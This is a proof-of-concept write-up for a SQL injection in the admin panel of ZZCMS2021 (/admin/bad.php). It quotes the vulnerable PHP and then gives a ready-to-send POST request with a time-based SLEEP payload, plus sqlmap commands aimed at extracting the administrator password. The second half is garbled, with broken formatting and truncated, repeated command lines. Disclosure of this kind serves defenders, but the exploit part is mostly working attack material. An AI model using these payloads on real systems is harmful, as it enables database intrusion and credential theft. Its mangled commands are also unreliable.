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ZZCMS2021 sqlinject(3)

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## ZZCMS2021\_sqlinject\_3

## PoC by BaizeSec\_ahui

ZZCMS the lastest version download page :

http://www.zzcms.net/about/6.htm

zip installer:

http://www.zzcms.net/download/zzcms2021.zip

**Environmental requirements** 

PHP version > = 4.3.0

Mysql version>=4.0.0

## vulnerability code: in file /admin/bad.php

```
<?php include("admin.php");?>
#line 10-41
checkadminisdo("badusermessage");
$action=isset($_REQUEST["action"])?$_REQUEST["action"]:'';
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){</pre>
       $id=$id.($_POST['id'][$i].',');
       .
$id=substr($id,0,strlen($id)-1);//去除最后面的","
       if ($id==""){
       echo "<script>alert('操作失败! 至少要选中一条信息。');history.back();</script>";
if ($action=="del"){
        if (strpos($id,",")>0){
               $sql="delete from zzcms_bad where id in (". $id .")";
       }else{
               $sql="delete from zzcms_bad where id='$id'";
query($sql);
echo "<script>location.href='bad.php'</script>";
if ($action=="lockip"){
        if (strpos($id,",")>0){
               $sql="update zzcms_bad set lockip=1 where id in (". $id .")";
               $sql="update zzcms_bad set lockip=1 where id='$id'";
query($sql);
```

Before you exploit this vulnerability, you need to find a way to obtain the permission of background administrator

After you obtain the administrator user rights and log in, visit the following link to exploit the vulnerability:

http://yourhost/admin/bad.php

POC:

```
POST /admin/bad.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
```

Origin: http://zzcms.com Connection: close Referer: http://zzcms.com/admin/bad.php Cookie: askbigclassid=0; asksmallclassid=0;  $\_ tins\_ 713776 = \%78\%22 sid\%22\%3A\%201629992898141\%2C\%20\%22 vd\%22\%3A\%206\%2C\%20\%22 expires\%22\%3A\%201629995107025\%7D;$  $\_51cke\_=; \ \_51laig\_=20; \ bdshare\_firstime=1629951198125; \ PHPSESSID=a5tlfr6q1ete0aaa6dq5pppi43; \ admin=admin; \\ pass=21232f297a57a5a743894a0e4a801fc3; \ UserName=test; \ PassWord=098f6bcd4621d373cade4e832627b4f6$ Upgrade-Insecure-Requests: 1  $action=del\&id[0]=0\&id[1]=1 \ AND \ (SELECT \ 5584 \ FROM \ (SELECT(SLEEP(9)))a)$ You can change the post parameter action to del or lockip sleep(9): Screenshot link:http://39.101.130.53/image-20210827011634912.png You can also use sqlmap to verify this vulnerability. The specific usage is as follows: Note: please replace cookies and URLs with your own and make sure they are correct python sqlmap.py -u "http://zzcms.com/admin/bad.php" --cookie="admin=admin; pass=21232f297a57a5a743894a0e4a801fc3;" --me Screenshot link:http://39.101.130.53/image-20210827012018026.png After waiting for a while, you can get the information you query, or you can change the statement. For example, the following statement is used to query the password of the administrator user:  $py thon \ sqlmap.py \ -u \ "http://zzcms.com/dl/dl\_print.php" \ --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f \ --cookie="UserName=test; PassWord=098f6bcd4621d37cade4e832627b4f \ --cookie="UserName=tes$ Screenshot link:http://39.101.130.53/image-20210827012641294.png